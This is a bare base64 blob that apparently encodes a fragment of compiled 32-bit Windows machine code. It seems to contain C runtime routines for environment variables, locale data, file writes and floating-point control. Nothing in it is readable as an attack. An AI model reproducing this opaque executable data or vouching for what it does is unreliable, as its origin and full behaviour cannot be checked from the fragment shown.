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5AAAAgHIYgfkrI4bAckp3FYtUJASB+u85+v5yPOsHug4AAADrBboPAAAAg+wcZg8TRCQQiVQkDIvUg8IQiVQkCIPCEIlUJASJFCToFRsAAGYPEkQkEIPEHIPsEGYPE0QkBN1EJASDxBDDPQAA8H9zMYtEJAg9AAAAgHMTZg8SBdBMQADyD1nAug4AAADrnGYPEgXYTEAA8g9ZwLoPAAAA64mLVCQEPQAA8H93HoP6AHUZi0QkCD0AAPB/dQfdBcBMQADD3QXITEAAw7rqAwAA6Vb///+LRCQIJf///389AACQQHOFZg8SRCQE8g9YBaBMQACD7BBmDxNEJATdRCQEg8QQw41JAMaFcP////4K7XVK2cnZ8escjaQkAAAAAI2kJAAAAACQxoVw/////jLt2ereyegrAQAA2ejewfaFYf///wF0BNno3vH2wkB1Atn9Cu10Atng6W8FAADoRgEAAAvAdBQy7YP4AnQC9tXZydnh66DpiwUAAOlJBgAA3djd2Nst8ExAAMaFcP///wLD2e3Zydnkm929YP///5v2hWH///9BddLZ8cPGhXD///8C3djbLfpMQADDCsl1U8PZ7OsC2e3ZyQrJda7Z8cPpMQUAAOjPAAAA3djd2ArJdQ7Z7oP4AXUGCu10Atngw8aFcP///wLbLfBMQACD+AF17QrtdOnZ4Ovl3djp4gQAAN3Y6bMFAABY2eSb3b1g////m/aFYf///wF1D93Y2y3wTEAACu10Atngw8aFcP///wTprAQAAN3Y3djbLfBMQADGhXD///8DwwrJda/d2Nst8ExAAMPZwNnh2y0OTUAA3tmb3b1g////m/aFYf///0F1ldnA2fzZ5JvdvWD///+bipVh////2cnY4dnkm929YP///9nh2fDD2cDZ/NjZm9/gnnUa2cDcDSJNQADZwNn83tmb3+CedA24AQAAAMO4AAAAAOv4uAIAAADr8VaD7HSL9FaD7AjdHCSD7AjdHCSb3XYI6M4aAACDxBTdZgjdBoPEdF6FwHQF6c4EAADDzMzMzMzMzMzMzFWL7IHEMP3//1Ob2b1c////m9t9rtt9uFBRUugYqv//PADbbbjbba5aWVh1FOjjAgAAgI04/f//A+ijAAAAW8nD2cndlXr////Zyd1VguvdVYvsgcQw/f//U5vZvVz////bfa5QUVLozKn//zwA222uWllYdRvoJQIAAICNOP3//wGApTj9///96FMAAABbycPdlXr////r3VWL7IHEMP3//1P/dQz/dQjorQEAAIPECP91FP91EOifAQAAg8QIm9m9XP///4CNOP3//wLoQwIAAOgDAAAAW8nDgKU4/f///oM9zDRCAAB1T92VMP3//4qFcP///wrAdBo8/3RbPP50PwrAdDMPvsCJhXL////psgAAAGaLhVz///9mg+AgdRib3+Bmg+AgdA/HhXL///8IAAAA6Y0AAADZrVz///+bw2aLhTb9//9mJfB/ZgvAdBtmPfB/dEPru2aLhTb9//9mJfB/Zj3wf3Qw66jHhXL///8EAAAA3QVoTUAA2cnZ/d3Z2cDZ4dwdWE1AAJvf4J5zNNwNeE1AAOssx4Vy////AwAAAN0FYE1AANnJ2f3d2dnA2eHcHVBNQACb3+CedgbcDXBNQABWV4udbP///0OJnXb////2hTj9//8BdRr8jXUIjb16////paWAewwBdAiNdRCNfYKlpd1dio2Fcv///42dXP///1NQi51s////ikMOD77AUOi+GQAAg8QMX17dRYrpEf///1WL7IHEMP3//1P/dQz/dQjoHgAAAIPECJvZvVz///+ApTj9///96E0AAADogv7//1vJw1WL7IPE9FNmi0UOZovYZiXwf2Y98H91HmaBy/9/Zold/otFDItdCA+k2AuJRfqJXfbbbfbrA91FCFvJw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7rk1AANnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQUFJRiwv/FYBBQgBZWlj/I4B6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7rk1AANnliZVs////m929YP///8aFcP///wDZyYqNYf///9nlm929YP///9nJiq1h////0OXQ/dDFisUkD9eK4NDh0PnQwYrBJA/X0OTQ5ArED77AgeEEBAAAi9oD2IPDEFBSUYsL/xWAQUIAWVpY/yPoDwEAANnJjaQkAAAAAI1JAN3YjaQkAAAAAI2kJAAAAADD6O0AAADr6N3Y3djZ7sOQ3djd2NnuhO10Atngw93YkN3Y2ejDjaQkAAAAAI1kJADbvWL////brWL////2hWn///9AdAjGhXD///8Aw8aFcP///wDcBZ5NQADD6wPMzMzZyY2kJAAAAACNpCQAAAAA271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw42kJAAAAACQ271i////261i////9oVp////QHQg2cnbvWL////brWL////2hWn///9AdAnGhXD///8A6wfGhXD///8B3sHDkN3Y3djbLYBNQACAvXD///8AfwfGhXD///8BCsnDjUkA3djd2NstlE1AAArtdALZ4ArJdAjdBaZNQADeycMKyXQC2eDDzMzMzMzMzMzMzMzMVYvsg8TgiUXgi0UYiUXwi0UciUX06wlVi+yDxOCJReDdXfiJTeSLRRCLTRSJReiJTeyNRQiNTeBQUVLomRYAAIPEDN1F+GaBfQh/AnQD2W0IycPMzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AXATUAAuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIkMJNssJIPECqkAAAAAi0IEw4tEJAglAADwfz0AAPB/dAHDi0QkCMNmgTwkfwJ0A9ksJFrDZosEJGY9fwJ0HmaD4CB0FZvf4GaD4CB0DLgIAAAA6On+//9aw9ksJFrDg+wI3RQki0QkBIPECCUAAPB/6xSD7AjdFCSLRCQEg8QIJQAA8H90PT0AAPB/dF9miwQkZj1/AnQqZoPgIHUhm9/gZoPgIHQYuAgAAACD+h10B+iL/v//WsPobf7//1rD2SwkWsPdBexNQADZydn93dnZwNnh3B3cTUAAm9/gnrgEAAAAc8fcDfxNQADrv90F5E1AANnJ2f3d2dnA2eHcHdRNQACb3+CeuAMAAAB2ntwN9E1AAOuWi/9Vi+yD7CShjBBAADPFiUX8U/91EItdCI1N4OgIpv//g/v/fBOB+/8AAAB/C4tF5IsAD7cEWOt6i8ONTeTB+AiJRdxRD7bAUOgaDwAAWVmFwHQTi0XciEXwM8BqAohd8YhF8lnrCzPAiF3wM8mIRfFBiUX0ZolF+ItF5GoB/3AIjUX0UFGNRfBQjUXkagFQ6Pvb//+DxByFwHUTOEXsdAqLReCDoFADAAD9M8DrFw+3RfQjRQyAfewAdAqLTeCDoVADAAD9i038M81b6B9T//+L5V3Di/9Vi+yD7BBTVjPbuOMAAABXiV34iUX0A8PHRfxVAAAAmSvCi8jR+YlN8GoZW4s0zShfQACLTQgrzg+3FDGNQr9mO8N3Bo1CIA+30A+3Po1Hv2Y7w3cIjUcgD7fA6wKLx4PGAoNt/AF0CmaF0nQFZjvQdMaLTfCLXfgPt8APt9Ir0HQihdJ5CI1B/4lF9OsJi0X0jVkBiV34O9gPjnf///+DyP/rB4sEzSxfQABfXluL5V3Di/9Vi+yDfQgAdB3/dQjoOf///1mFwHgQPeQAAABzCYsExQhOQABdwzPAXcOL/1WL7FaLdQiF9nUV6OSv///HABYAAADoWIz//4PI/+tSi0YMV4PP/5DB6A2oAXQ5Vuitpv//Vov46Fe6//9W